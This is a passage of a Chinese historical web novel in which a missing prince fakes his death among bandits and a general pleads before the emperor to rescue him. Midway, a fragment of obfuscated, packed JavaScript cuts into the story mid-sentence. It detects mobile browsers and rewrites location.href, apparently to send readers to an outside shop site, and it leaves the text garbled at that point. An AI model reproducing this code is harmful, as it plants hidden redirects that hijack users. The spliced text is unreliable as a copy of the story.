“去。”裴与驰接着道,“替我好生‘夸夸’他。就说他行止稳当,这双脚生在地上实在屈才,合该放到天边,当只大鹏鸟才是。只是他这一番勤勉,倒衬得我这几日歇在客栈里,像个偷闲误事的昏聩之人了。” 话说得极温雅,却暗里藏针。 武秦听得冷汗直冒,忙不迭应声出去“传达圣意”。 裴与驰推开窗,正瞧见那传令官挨了训,正缩在驿站的台阶底下抹眼泪。 这一看,倒把三殿下给气乐了。 这传令官生得虎背熊腰,怪不得能日夜兼程、把八百里加急跑出催命的架势,这身板确实是铁打的。可偏偏此刻,他被骂得缩手缩脚,哭得抽抽搭搭,手竟捏着袖角,小心翼翼地去沾眼角的泪花,活像个受了天大委屈的小媳妇。他努力把自己往阴影里缩,试图装成一只鹌鹑,奈何体格实在,藏也藏不住。那份梨花带雨的委屈劲儿,配上这副威武之躯,竟生出一种极其荒谬的滑稽感。 看着这猛汉垂泪的奇景,裴与驰心里那点因玩脱了而翻腾的邪火,终于消了几分。 他冷冷扫了那小官一眼,“啪”地合上窗,火气暂歇,只是余下那点阴鸷,便尽数沉进了接下来的笔锋里。 【书致迟小将军】 见字如晤。 披阅来信,始知将军腕力惊人,一纸之上,笔锋如刀,竟似要劈山断岳,实在叫人叹为观止。 信中既言西南血腥、杀伐过盛,想来是挂念我身家性命,此情此意,我心甚慰。然笔锋一转,忽又劝我在西南“另择良配”,言辞周到,体贴入微,颇有主母风范。古人云,妇有四德,迟将军如今这般贤达,倒真不负圣贤教诲。 只是我一时糊涂,未曾想明白,这般急着为我张罗后宅的心思,究竟是出自肺腑,还是长安校场的风太暖,吹散了当日画舫上的水气?若不然,何以连那方帕子上留的是谁的痕迹,也一并忘了? 至于“另择良人,各安其处”八字,读到此处,我实在忍俊不禁。生同衾、死同穴,本是旧约。你我之事,既已到不可言说之地,岂是一纸气话便能割裂干净?你若真存了前缘可断、后事可续的念头,也当等我回京,亲手走完三书六聘,再来与我分辨这“各安其处”的道理。 在此之前,望将军慎言。 我素来心眼不大,尤见不得另择良人四字从你笔下写出。念你这位贤内助一时气盛,笔下逞强,我权且记下不论;只是此事,断无再试之余地。 且将这些话留着,待我归来,你当面再说。届时,我必与你逐字逐句,清算个明白。 西南虽险,我不死,必当一根头发不少地回京。 【裴与驰手书】 裴与驰写完这封信,指腹在“各安其处”四字上顿了一瞬,旋即若无其事地收回。 “哭什么?”裴与驰推开窗,冷冷扫了一眼院子里正抹眼泪的下属,“下次若再敢把捷报传得比家书还快,你这脚也不必长你身上了。” 传令官一哆嗦,眼泪硬生生缩了回去。 武秦在一旁连呼吸都放轻了,唯恐那点余怒转眼便落到自己头上。裴与驰将信折妥封严,递到他面前:“八百里加急,送去。信上若少了一角,你便把头一并带回来。” 武秦心里叫苦,面上却不敢露分毫,只得双手接过,连声应是。 果然跑不掉。 他抱着那封信退下时,脚下像生了风火轮一般,出门便催马疾驰,半点不敢耽搁。 17. 军令状 腊月将尽,长安城里千灯如昼,坊间爆竹声声。太极殿内却似森罗鬼域,金砖泛寒,烛焰摇影,照得冕旒之后那张脸,阴沉如铁,仿佛阎罗亲临。 兵部尚书伏在金砖地上,脊梁塌得如同一滩烂泥。那封染血的八百里加急军报,此刻正如烫手山芋般摊在身前,被冷汗洇得发皱,墨迹红得刺目。 御座之上,圣人指节轻叩扶手,叩得殿中人心一下一下往下沉。良久,他忽然低笑一声。那声音极轻,却如重锤落地,震得殿中群臣齐齐绷紧了皮肉。 “好,好得很。”他缓缓开口,语调低沉而冷硬,“西南八百里加急,送到朕案前的,不是捷报,是朕皇子半个月不知所终、生死未卜的凶讯!” “陛下息怒!陛下息怒啊!”兵部尚书磕头如捣蒜,声音发颤,“臣、臣也是方才得报……那西南巡抚报称,三殿下贪功冒进,误入深山瘴气林,遭遇了……遭遇了……” “遭遇了什么?”圣人骤然起身,一脚踹翻御案。案几轰然倒地,墨砚翻覆,奏折滚落,溅起一地黑白。殿中众臣齐齐伏低,恨不得把脑袋埋进金砖缝里。 圣人站在御阶上,目光冷冷压下来,怒声在空殿里回荡:“是遭遇流寇?还是遭遇你们兵部养在西南的那群好匪?!” 此言一出,满朝文武如遭雷击,殿内一时间连呼吸声都被掐断了。 圣人踱步而下,广袖一拂,语气森然:“朕倒不知,几时起,这西南地界,竟成了兵部的一言堂。” 兵部尚书额头磕得血肉模糊,语不成调:“臣……臣罪该万死。” “罪该万死?”圣人冷笑一声,抬手将一封密折狠狠掷在他脸上。纸页扑面,像一记耳光。“半年前,西南奏报忠县匪患猖獗,官军折损八百,皆因瘴气所致。朕信了,命景恒入蜀平乱。”他声音慢慢压低,低得叫人背脊发寒,“可景恒递回来的密信上写得明明白白:那八百具尸骨上的伤,并非瘴毒,而是吐蕃人的弯刀。” 殿中死寂,针落可闻。 圣人目光扫过阶下诸臣,字字如刀:“吐蕃余部潜入松州,借羌蛮为掩,断粮道、劫军械。败报入京,便是失土辱国。你们担不起,便改外患为匪患,化败局为瘴毒,甚至不惜拿朕儿子的命,去填这个窟窿!” 兵部尚书瘫软成泥,只剩断续哀鸣。圣人不再看他,只漠然问道:“景恒是怎么没的?” 尚书颤声道:“前些日子忠县传捷,言刘义率众归附,殿下亲自安抚,民心稍定。谁知……不过半月,陈正衡突然发难,此后便再无殿下音讯。随行卫兵折损殆尽,营帐焚毁,尸骨无存,只……只寻回一枚断裂的令牌。” 声音渐低,终至不可闻,他颤巍巍地取出令牌,置于地上,不敢抬头。 圣人的目光落下,那枚沾着血迹的令牌躺在金砖上,“景”字清晰分明。十二岁那年,御前赐字,少年叩首的身影,仿佛仍在眼前。 圣人眸底怒意翻涌,低低吐出三个字:“好手段。” 满殿人心头生寒。谁都听得出来:这哪里是失踪,分明是杀人灭口、毁尸灭迹。 圣人闭目,再睁眼时,眸色已深如渊海,怒意暂时被压进深处,只余杀意浮在明面。“西南巡抚瞒报边患,陈正衡畏战杀皇子,兵部递折不察,朝堂粉饰太平。”他一步步走回御阶,语气森然,“如今人被你们逼进死地,你们倒想用一句‘三皇子剿匪不力’,把这滔天罪孽洗得干干净净?” 无人敢应。 圣人抬手,杀气毕露:“传旨。西南巡抚蔡廷,即刻革职,押解回京下狱;陈正衡押入京兆府死牢,严加拷问;至于兵部尚书——” 他目光落在脚边那团烂泥上,冷嗤一声,“既知罪该万死,朕便成全你。拖下去,杖毙。” 禁卫上前,如拖死狗般将人拽走。殿门未启,惨叫声已隔门透入,又极快地湮没在风雪中。 圣人环视殿中诸臣,目光阴沉:“吐蕃既敢入蜀,便不是小股流寇;西南既敢瞒报,便不是一人胆大。朕要你们告诉朕,究竟是谁,把朕的儿子送进这个死局?” 无人敢答。 那西南局势,早已乱成一锅粥:外有吐蕃余部潜伏,内有匪患盘踞;官军里头暗藏叛心,地方衙门又与豪强勾连。刀从四面八方递来,谁也分不清哪一把是敌,哪一把是自己人。此刻谁敢请命南下,便等同把性命押在一场浑局里,救得回人,未必是功;救不回人,却一定有人要他顶罪。 那不是请命,那是自请赴死。 恰在此时,死寂中响起一声官袍轻擦的细响,迟铎撑膝而起。他面色苍白如纸,唇角血迹未干,身形摇摇欲坠,脊梁却挺得笔直。 “臣以为,”他嗓音沙哑,带着一股血腥气,“殿下未必身死。” 圣人侧目,冕旒垂下,遮了帝王眉眼喜怒,只余那双眼,冷得像要剖开人心。那目光自殿中诸位老臣、宿将身上一一扫过,握过兵权的、打过硬仗的,此刻皆垂首如泥,连一句“臣愿往”都不肯吐。偏偏站出来的,是个年岁与景恒相仿的后生。 圣人广袖下的指尖微微一顿,那封被他搁置的密报,忽在此刻浮上心头。 迟铎俯身拾起那半枚断令。断口锋利,刺破指腹,鲜血渗出,他却浑然不觉:“若真是吐蕃截杀,意在威慑朝廷,殿下若遭不测,断不会只留残令。”他抬眼,目光灼灼,“悬首示众,或挟为人质,方是蛮夷手段。” 他将断令在掌中合拢,血迹一点点染进裂纹里,声音却越发冷静:“杀皇子这种事,不见尸,是睡不着的。若真是陈正衡下的手,他一定会把尸体找出来,总要亲眼看过,才敢松那口气。瞒报外敌、失土误国,本就是死罪,殿下但凡还有一线生机,他便已是万劫不复,又怎敢留半点侥幸。” “而现在,无尸可示,只余残令。”他说到这里,手指收紧,将那半枚断令握得死紧,血沿着指缝淌下去,“殿下必然还活着。 圣人五指骤然收紧,指尖泛白:“那这令牌……” “非敌所断。”迟铎答得斩钉截铁,“是殿下自折。” 他语气平静,却透着千百次推演后的笃定:“殿下行事,从不将性命押于一路。他既查明匪患实为官兵,便知明路已绝。令牌不折,追索不断;折令为信,既是示警,更是自绝明路,转入暗道。” 殿中微哗。 “西南密林纵横,山势如犬牙交错。真要藏身,莫说寻常追兵,便是吐蕃人的猎犬,也未必能将人逼出来。”迟铎语调渐起,原本的颤抖已化作坚毅,“殿下失踪,非是遇难,而是,不能露面。” 他目光冷冷扫过地上的血迹与奏报:“巡抚瞒报,武将叛变,官道尽毁。殿下不知援军为何人,不知信报落谁手,更不知长安来人,是救他,还是杀他。” 殿中死寂。 “所以他只能等。”迟铎顿了顿,字字铿锵,“等一个他能信得过的人,等一个敢把后背交付的人,带刀入林,接应他。” 话落,他单膝跪地,膝盖砸在金砖上,闷响在殿中回荡。 “陛下,西南局势已溃,殿下困兽无援。此时此刻,他信不过西南的官,信不过兵部的令,能信的,唯臣一人。” “求陛下,准臣入蜀。” 太极殿内静得可怕。 圣人的目光在他身上停驻良久,那层阴鸷之下,终于浮起一丝难以名状的动摇。他挥了挥手,声音疲惫而冷硬:“都退下。” 群臣一时未动。 “滚出去!” 一声暴喝,众人如梦初醒,连滚带爬退出殿外。殿门轰然合拢,将风雪天光尽数隔绝,殿内骤暗,只余帝王与阶下之臣。 圣人缓步走下御阶,立于迟铎身前。威怒散尽,只余彻骨寒意:“迟铎,你可知自己在求什么?那是吐蕃铁骑,是连陈正衡都折在那里的修罗场。你去,便一定能带回活人?” 迟铎垂首,指甲深深嵌入掌心,声音无半分犹疑:“殿下在,臣带他回;殿下若不在,臣亦不独活。” 圣人眸光微缩,俯身逼视:“你和景恒的事,真当朕瞎了不成?” 迟铎脊背骤僵,却未退半步,只咬牙不语。 “景恒为你做过什么,朕心里有数。”圣人的语气平静,听不出喜怒,“朕从前不管,是觉少年荒唐,做不得真。断袖分桃也罢,总好过他沉溺声色,或娶个世家贵女,与重臣联姻,整日盯着朕这把椅子。” 他低低一笑,笑意未达眼底:“可如今满朝文武,各怀鬼胎。反倒是你这点不合时宜的痴念,成了朕此刻唯一敢信的东西。” 圣人看着迟铎手中那枚染血的断令,看着血水顺着他指缝滴落,转过身去,只留一道背影。 “尚方剑、调兵虎符,京郊大营三千精骑,尽数予你。入蜀之后,见官大一级。不论吐蕃蛮夷,亦或吃里扒外的家贼,敢挡路者,杀无赦。” 他侧首,目光阴沉:“朕不在乎你们那点私情。但你若带不回活人,便下去陪他。” 这一刻,帝王说得无比直白。往日的权衡、试探,尽数剥落。那个平日里与他名为父子、实为君臣、彼此提防的景恒,如今生死一线,那层冷硬的君臣外壳,终是撑不住了。剥露出来的,只剩这点残存的、血淋淋的父子之情。 迟铎起身,将断令贴在心口,低声道:“臣领旨。” 他拢袖转身,官袍带风,大步流星。 “臣若寻不回殿下,便提头来见。” 迟铎跨出太极殿时,长安城的鹅毛大雪尚未停歇。漫天飞白之中,他翻身上马,勒紧缰绳,回首遥望西南。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239955|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >半个月。 那个在信里骗他说蜀中景致甚好、实则身陷囹圄的骗子;那个许诺必当完好无损归来、如今却只剩半枚断令的混账。 “裴与驰……” 名号甫出口,便被风雪撕碎。迟铎下颌绷紧,像是把一句痛骂生生咽回喉里;可那只握缰的手,却攥得发白,指节冷得几乎失去知觉。 他不敢再想。 只在心里恶狠狠地道:你最好给老子藏严实了。 下一瞬,那股狠意却像被雪水浇灭,悄无声息地化作一句—— 等我找到你。 马鞭破空,重重落下。姣雪嘶鸣,四蹄踏碎琼瑶,身影如离弦之箭,生生撕开长安城漫天风雪,向着西南疾驰而去。 那是一条通往九死一生的修罗路,亦是他此生唯一会走的路。 千里之外,却并无风雪,唯有湿重雾霭与经久不散的松烟气。 西南腹地,层峦叠嶂。深林瘴气之后,一座半旧吊脚楼隐在山坳里。楼下火塘烧得正旺,柏枝噼啪作响。几十名亲卫衣着虽旧,却干净齐整,此刻如临大敌般围在火塘边,眼巴巴望着梁上挂着的一排排物事,喉头一动一动,咽口水的声儿此起彼伏。 而那位让朝野上下如丧考妣、让迟铎在太极殿上急红了眼的三皇子殿下—— 此刻正将那身金贵的锦袍袖口高高挽起,一手执蒲扇,一手持箸,低头控着火候,神情专注得很,时不时往火里撒一小撮陈皮碎。 三皇子殿下…… 在熏腊肉。 “殿下!” 一声浑厚的嗓音打破了火塘边这份古怪的安静。来人着一身粗布白衣,衣摆沾着林深露重的泥点,好在浆洗得干净。他生得浓眉大眼,一道旧疤横贯鼻梁,看着凶悍非常,此刻却双手抱拳,老老实实立在火塘外,神色间竟带着几分见了灶君似的虔诚。 此人正是让朝廷头疼不已的西南巨寇、“蜈蚣王”徐正义。而他身旁站着的那名瘦削汉子,正是朝堂急报里早已“归附”的刘义。 裴与驰闻声回头,手中蒲扇未停,只随意摆了摆,朗声笑道:“徐兄,刘兄,来得正好。这第一批柏枝肉刚出油,火候正到。” 这两声兄,叫得随意自然,半点皇子架子也无,倒像是这绿林里的瓢把子。 徐正义却不敢怠慢,上前两步,盯着那色泽金黄、油光锃亮的腊肉,喉结一滚,忍不住竖起大拇指:“殿下这手艺,当真是巴适得很!咱们在山里混了这些年,不是白水煮肉,就是架火烤肉,哪晓得肉还能熏得这么香!要是早晓得皇子有这等本事,哪怕只为这一口,我也早带着弟兄们下山了嘛!” 刘义在一旁连连点头,搓着手笑:“大哥说得是。殿下这几日,教咱们修寨子、设暗哨,连吃喝都替咱们想到了。这哪是剿匪的钦差,分明是咱们山寨的老——” 那个大字刚到嘴边,刘义心里猛地一咯噔:哎呀要死咯,老大?这哪喊得出口啵?人家再是皇子,个头再高,剑使得再利索,那也是个才十几岁的伢子。我刘义都这把年纪了,对着个后生崽喊老大,这脸往哪里搁哦。 话到喉咙口,硬是被他生生咽了回去,只得讪讪改口:“……分明是咱们的恩人。” 裴与驰挑眉一笑,也不点破。他手中短刀翻飞,利落地片下一块滋滋冒油的腊肉,用刀尖一挑,递了过去。 “恩人不敢当。”他笑得漫不经心,“不过是在京里闲得慌,看些杂书,顺手学了点零碎门道。” 原也不是为旁人。家里那只狸奴,嘴刁得很,又偏爱吃肉。真要哪天带回府里,总得有点拿得出手的本事,才哄得住;不然三天两头闹起脾气来,才叫人头疼。 这一派烟火暖意、其乐融融的光景,若叫正披星戴月、心急如焚往西南赶的迟小将军瞧见,怕是当场要气得眼前一黑,先一刀劈了这不知死活的负心汉,再看要不要留他一条全尸。 下落不明的三皇子殿下,果然如他的狸奴所料,好端端地藏在密林深处,连根头发丝都没少。只是迟铎终究还是低估了他的能耐,他非但没被吓得东躲西藏,反倒在这匪窝里混得风生水起,俨然成了蜈蚣寨大当家,真蜈蚣王。 “殿下。”徐正义咽下最后一口肉,抹了把嘴,神色忽然一肃,“那帮孙子……怕是也快闻着味儿来了。” 裴与驰手中蒲扇微微一顿,火光映在他眼底,冷意一闪即逝。 “来得好。”他慢条斯理地拨着火塘里的柏枝,语气依旧漫不经心,却听得徐正义、刘义后背齐齐一凛。“我也等得有些不耐烦了。” 再不把这烂摊子收拾干净,家里那只狸奴……怕是真要提刀来找人了。算来时日,消息也该传回长安了。 只盼狸奴沉得住气,莫要乱来。 信我便是。 18. 占山为王 吃喝饱足后,三殿下熟门熟路地起身,在匪寨里七绕八绕,端着个碗,停在一间幽暗的石屋前。石屋嵌在山腹深处,门口只点着一盏昏黄油灯。守在外头的匪兵见他来了,忙起身行礼,又被他抬手制止,悄无声息地退到一旁。 里头关着的,正是那两名嘴硬的吐蕃探子。 石门紧闭,却并不严实。裴与驰单手端着碗,碗中是刚熏好的肉片,油脂尚在往下淌,热气裹着肉香,在湿冷的石廊里缓缓散开,顺着那道细窄的门缝,一丝一缕地钻了进去。 片刻后,门内传来吸气,再过一会儿,便是喉头滚动的声响。空腹、寒湿、伤痛,被这突如其来的香气一并放大,理智在密闭的黑暗里悄然松动。 裴与驰站在门外,并不急着开口。 终于,有人低低骂了一句吐蕃话,声音干涩,带着压不住的烦躁。他听见了,却只当未闻,将碗又往门缝处送近了些。肉香骤然浓了几分,几乎贴着鼻息递了进去。 吞咽声立刻清晰起来。 这时他才慢悠悠地开口:“两位在里头待了这些时日,想来吃得清淡。” “山中条件粗陋,委屈了。”语气温和而有礼。 门内有人冷笑一声,吐蕃话里尽是讥讽。 裴与驰也不恼,只将碗放在门前石阶上。碗底磕在石头上,发出一声极轻的脆响,却分外清楚。 “放心。”他说,“不是断头饭。” 门内的呼吸骤然一乱。锁链轻响,有人迟疑了一瞬,终究还是伸手,将碗拖了进去。 很快,石屋里传来狼吞虎咽的声响,几乎顾不上烫。肉被撕开的声音在狭小空间里异常清晰,油脂滴落在地的细响,也一并落进人耳中。 过了好一会儿,才有人含混不清地开口,用生涩的中原话挤出一句:“……你想问什么?” 裴与驰这才直起身,向前走了一步,靴底踏在石地上,不疾不徐。 “陈正衡,”他说,“与你们做了什么交易?” 三个月前,三皇子殿下带着长安精锐开起了荒。 这件事,西南巡抚没看懂,领兵的陈正衡没看懂,连山里蹲着的徐正义也没看懂。 在他们眼里,这位长安来的皇子,自抵忠县起,行事便处处透着一股离经叛道的意味。先是以雷霆手段斩了个地头蛇,血迹尚未干透,转眼却又收了锋芒。既不急着点兵入山,也不急着张旗擂鼓围剿,反倒将随行精锐拆散编制,卸甲换衣,分赴各村各寨,修渠、垦地、开荒。 巡抚蔡廷与陈正衡看在眼里,如坐针毡。心中火起,却偏偏不敢发作。 他们如今是一根绳上的蚂蚱,最盼的,便是这位祖宗快些进山,随便砍几个脑袋,立下“剿匪战功”,好顺势封赏,尽早回京。哪怕功劳尽数算在这位殿下头上,他们也认了,只要能把这尊大佛送走,这西南的盖子,才能继续捂得住。 可眼下瞧着,三皇子殿下却不像是来剿匪的,倒像是,打算在蜀地扎下根来,认认真真地务一回农。 徐正义那边,起初也完全不信什么仁政。狗官哄人下山,转头反悔、杀良冒功的事,还少吗?可偏偏“归乡”二字,实在太勾人。终究有人按捺不住,试探着下了山,原本已做好了挨一刀的准备,谁知刚踏入官兵营地,迎面没见刀光,却先被塞了一碗热粥、一块面饼。 那人捧着碗,手抖得像筛糠,半晌没敢喝,只哑声问了一句:“……真、真不杀?” 负责发粮的军卒眼皮都没抬:“不杀。殿下说了,手上没沾无辜血的,吃完跟着垦田去。沾了的——”他顿了顿,声音冷下去,“你也别指望殿下给你留全尸。” 那人一听,竟像被雷劈了一般,当场抱着碗嚎啕大哭。 胆子大的人一多,再加上山下熟人递上去的劝信,山里那些人的心,便渐渐发起痒来。这世上多半并非天生恶徒,不过是被逼得没了活路,才上山落草。刀握久了,手指生茧,心里发寒。若真有一条路,能不靠刀活下去,谁又愿意日日提着脑袋过日子? 这,正是裴与驰要的。他不急着进山围剿,因为他早已看出,这匪患背后有鬼。百姓告官的卷宗里,匪徒作恶反倒寥寥,横行乡里的,却多是官兵。再翻忠县旧档,记载清清楚楚:前后调兵五千有余,折损八百余人。可卷宗翻遍,半点匪影不见。那八百条命,若真死在瘴气里,尸骨何在?若真死在山匪手中,交锋何在?偏偏各路折子,皆只写“密林瘴毒”,语句整齐得过分,仿佛这瘴气也通人性,专为官府的说辞杀人。 这背后必有事被遮掩。所以他在等,等按捺不住的人,自己露出马脚。反正,时间在他这边。 在这阳谋之下,忠县终于起了大动静。原本与山中徐正义互为犄角、一路自湖湘流窜入蜀的悍匪刘义,竟亲自现身。此人素来多疑,狡黠如狐。可他安插的探子在忠县潜伏多日,亲眼见过李士廉的尸首如何悬挂在衙门示众;又亲眼见过这位殿下如何开仓分粮、发放工钱、修渠垦田——桩桩件件,皆落到实处,半点不作虚声。于是某日清晨,城外晨雾未散,刘义带着麾下数百人,自缚双手,卸刀弃械,下山投诚。 裴与驰当真做到了投桃报李。面对这几百号刀尖舔血的亡命徒,他既未急着收监,也未急着立威砍头,反倒亲自坐镇,命人逐一核对身份。姓名、乡贯、年岁、旧籍、亲眷……一一登记入册,让这群流寇,重新有了“良民”的名分。更叫人心惊的是,他竟没有打散原有建制,反倒授了刘义一个管事的差事,让他仍领着手下那帮兄弟,去修渠、翻地、筑埂。 高阁之上,裴与驰负手而立,俯瞰下方那群换了农具的悍匪,语气冷淡。 “刘义,差事给你,命也还你。” 他目光落下,天潢贵胄的威仪尽显。 “可入籍之后,你手下这几百条命、几百双手,往后一举一动,都得死死压在律法之内。” “若有人敢重操旧业,或仗势欺凌桑梓——”裴与驰语调如常,却叫人脊背生寒,“我便叫这本良民册,变作你全寨人的索命状。” 刘义捧着那本册子,指腹摩挲着粗糙的纸页,半晌无言。他终于明白,这位长安来的殿下,要的从来不是剿匪战功,不是拿几条人命糊弄朝廷。 他是真要给他们一条活路,只是这条路,必须走在律法之下。 刘义这一降,暗处那些人,终于坐不住了。 西南巡抚蔡廷与领兵的陈正衡,几乎在同一日里齐齐变了脸色。他们比谁都清楚:那八百条命,根本不是死于瘴气。 三个月前,松州一线吐蕃余部趁隙南窜,借羌蛮为掩,断粮道、劫军械,官军节节败退。而且败得极其难看。此事一旦传入长安,便是失土辱国、问斩抄家的滔天大罪。于是他们狗急跳墙,将外患改作匪患,把败局推给瘴毒。尸骨不能留,证据更不能留,那八百具尸首连同破甲断矛,能烧的尽数烧了,烧不完的便趁夜拖入密林深处,扔进瘴谷烂泥之中,任野兽啃食,任腐水吞没。回头一封奏折写得整齐漂亮,只一句“密林瘴毒,折损八百”,便将所有血腥尽数掩去。 兵部尚书原本不该疑,可那阵子西南递上来的折子实在敷衍,八百条命,竟连一张像样的阵亡名册都没有,折损缘由翻来覆去只写“瘴毒”,连半句交锋都不敢提。他心里发毛,暗中遣人往蜀地探问,这一问,便问出了个天大的窟窿:吐蕃进犯,官军败退,败报不敢入京,于是索性一并瞒了。兵部尚书捂着这消息,冷汗直冒,却不是不想报,而是报不得,真要捅到御前,从巡抚到兵部,一根藤上的蚂蚱,谁也别想全身而退,只能咬着牙装聋作哑,还得替西南那帮粗鄙下属润笔修辞,把军报写得滴水不漏,仿佛真是土匪作乱。一朝上下,竟在同一张遮羞布下,苟得安稳。 本来,这事是瞒得住的,偏偏裴与驰来了。这位长安来的皇子,用的并非寻常剿匪的路数,而是兵书里最叫人头皮发麻的那一套:上兵伐谋,不战而屈人之兵。旁人剿匪,不过点兵入山、围剿斩首,拿几颗人头换一纸捷报便算功成,可裴与驰却先安民、再断匪路,先立法度、再收人心,不急着杀人立功,反倒一寸寸把山里的“匪”,往山下的“民”里拽。 这路数,一开始蔡廷看不懂,陈正衡更看不懂,他们只懂快刀见血、贪功冒进,直到刘义带着兄弟投诚,二人才如梦方醒:裴与驰的仁政,从来不只是招安山匪,而是在一步步逼出埋藏的真相。那些在林子里摸爬滚打多年的土匪,未必不知道尸骨埋在何处,他们与官军、外族纠缠多年,最识刀口,是吐蕃的精铁弯刀,还是官军的制式横刀,抑或山匪的破刃柴刀,一眼便分得清清楚楚。只要有人把那尸骨的伤口递到裴与驰眼前,到那时,西南再无匪患,只有边患,而他们,便是欺君罔上、卖国求生的死罪之人。 陈正衡终于坐不住了。 中军大帐内,烛火昏黄,映得陈正衡那张脸阴晴不定。案几上摆着一册良民名簿,是裴与驰亲手发给刘义那帮土匪的。他猛地将册子扫落在地,胸膛剧烈起伏,低声怒吼:“他这是在掘我的坟!”陈正衡原本指望,这位娇生惯养的三皇子不过是来拿点功,甚至顺手捞点银子,只要把人哄高兴了送走,这西南的烂账就能永远烂在地里,可如今裴与驰不仅没走,反而把刘义招安了。 站在下首的心腹副将压低声音,语气里满是惊恐:“将军,刘义那帮人常年在林子里钻,最认得兵器。那八百具尸首上的伤……他们一眼就能认得清清楚楚是吐蕃人的弯刀所致。如今他们归顺了三殿下,若是哪天嘴上没个把门的,把这事捅到殿下面前……” “还需要等哪天?”陈正衡阴恻恻地打断他,眼中闪过一丝狠戾的光:“裴与驰今日能给他们发粮,明日就能带他们去乱葬岗认尸!这哪里是招安,分明是在咱们脖子上架刀!” 从他与巡抚蔡廷决定瞒报吐蕃入境、把八百阵亡将士伪造成‘瘴气毒死、土匪所杀’的那一刻起,便已是开弓没有回头箭,一只脚踏进了鬼门关。这是欺君,是叛国,是夷三族的大罪。 “山上,匪如繁星,咱们堵不住那么多张嘴。”陈正衡的手缓缓摸向腰间的刀柄,指节用力到发白,声音像是从牙缝里挤出来的,“唯一的法子……就是堵住听的那只耳朵。” 副将浑身一颤:“将军的意思是……?” 陈正衡没回答,只是转身走到书案前,提笔蘸墨。“给蔡巡抚去信。”他一边写,一边冷冷道,“就说三皇子殿下年轻气盛,初得刘义投诚,便以为匪患已平,贪功冒进。”副将一愣,随即明白过来,冷汗瞬间湿透了后背。 陈正衡笔锋不停,每一个字都像是淬了毒:“写清楚:殿下不听本将苦劝,执意要趁胜追击,率亲卫深入密林腹地,意图扫清残匪。谁知天有不测风云。”他停下笔,看着纸上那行早已编好的谎言,嘴角勾起一抹残忍的弧度,继续:“谁知殿下误入瘴气深处,又遭流寇伏击。本将救援来迟,赶到时,营帐已毁,尸骨无存。” “尸骨无存……”副将咽了口唾沫,“那殿下的人……”陈正衡将信笺折好,放在烛火上封口,淡淡道:“今夜,就在刘义那帮人的庆功宴上动手。裴与驰今日刚发了良民册,防备必然松懈,你带人换上山匪衣着,蒙面行事,把刘义的人和殿下的亲卫,一并解决。记住,用火箭,火要烧旺,烧得干干净净,连骨头渣子都认不出来,回头一报,就是流寇作乱,大火封山。” 副将领命而去,帐帘掀起,带进一股寒凉的夜风。陈正衡独自立在帐中,看着烛火摇曳,心中暗自赌裴与驰只是个纸上谈兵的皇子,赌长安路远、圣心难测,只要死无对证,这西南的天,仍是他陈正衡的天。 一切似乎都在按他的谋算推进。庆功宴上,那坛酒摆在案几上,酒香混着松脂味,刺鼻而浓。刘义毫无防备,端起酒碗便要入口,忽听“哐”的一声脆响,裴与驰手中的玄铁剑鞘猛地一抬,冷硬地撞在他手腕上,酒碗脱手飞出,砸在地上摔得粉碎,酒液溅入火塘,立时窜起一股诡异的蓝焰。刘义一愣,还未及开口,便听裴与驰冷冷道:“有毒。” 他依旧坐在主位,连姿势都没变,只是微微侧头,目光穿过帐帘的缝隙,投向外面的密林。 “看来陈将军不仅想要我的命,还不想留全尸。” 话音未落,破空声骤起!漫天火箭如雨般落下,营帐瞬间被点燃。与此同时,一群黑衣死士撕破帐帘,刀光直逼裴与驰的面门。 刘义大惊:“殿下!” 裴与驰却比谁都快,玄铁剑出鞘,毫无花哨的起势,只有快,快到了极致。剑光一闪,冲在最前面的死士喉头飙血,出手尚未看清,人已经软软倒了下去。裴与驰一脚踹翻面前燃烧的长案,挡住后续的箭雨,随即起身,在火光中下达了命令:“武秦,带人往后山撤。” “是!” 混战骤起,裴与驰提剑在手,却未急着退走,出手干脆利落,能一剑封喉,绝不出第二招。一支火箭直奔刘义面门而来,他手腕一抖,剑锋挑开箭矢,随即拎着刘义的肩膀猛地一斜,替他避过了致命一击。 刘义刚想告谢,便迎上了裴与驰那双冰冷的眸子。 “走。” 明明年岁比他轻很多,但那股扑面盖下的威压,硬生生压住了所有多余言语。他咬牙点头,只知听令。 行至密林边缘,火势已然封死退路,追兵在后叫嚣不休。裴与驰停下脚步,回望那漫天大火,从腰间解下那枚代表皇子身份的令牌。 “殿下,这令牌……”武秦低声惊呼。 裴与驰没说话,指节骤然发力,将其折成两截。他将刻着景字的那半枚随手丢进草丛里。 “走。” 裴与驰将剩下半枚收入袖中,转身没入密林深处。时间紧迫,第一封密令侥幸传出,接下来这段时日,他只能如鬼魅潜行,再无法向长安递出只言片语。 这半块令牌会被陈正衡当成他身死的铁证传回长安,但他心里清楚,长安城内,有人能一眼看懂,这是置之死地而后生的求援,而非绝笔。 他的狸奴。 大火一夜,吞尽人声。 陈正衡带着大队人马赶到时,营地早成一片焦黑废土,余烬犹冒青烟,风里尽是焦肉的腥膻与松脂的辛甜,熏得人作呕。 ““搜。”陈正衡脸色铁青,目光死死钉在那堆还在冒烟的灰烬上。副将领人翻遍残垣焦土,掀开一处又一处烧塌的木架,半晌,才颤颤巍巍呈上一物。 是一枚断裂的玉令,上好的羊脂白玉,此刻却沾了泥污,断口处还拖着一线暗红血痕。 “将军……只寻得这个。”副将声音发抖,“旁的……都烧得辨不出人形了。看身量、看衣残……应当是刘义那伙匪首,和……和殿下的人。” 陈正衡接过那半截残令,指腹抹过那个“景”字,原本温润的玉此刻冷如冰。他猛地攥紧,力道大得指节泛白。死了?这就死了?那个叫他寝食难安的三皇子,就这样不明不白葬在一场火里?他心里本能生出一丝狐疑,可四下皆是焦土无生,余烬里连一截完好的骨头都难寻,再加上这枚断令摆在眼前,那点狐疑很快便被一股近乎癫狂的侥幸压了下去。 “好!上天怜我!”陈正衡嘴角抽了抽,随即扯出一个狰狞的笑,“传令下去:三皇子殿下剿匪心切,误入瘴岭深处,遭流寇火攻……不幸殉国。” 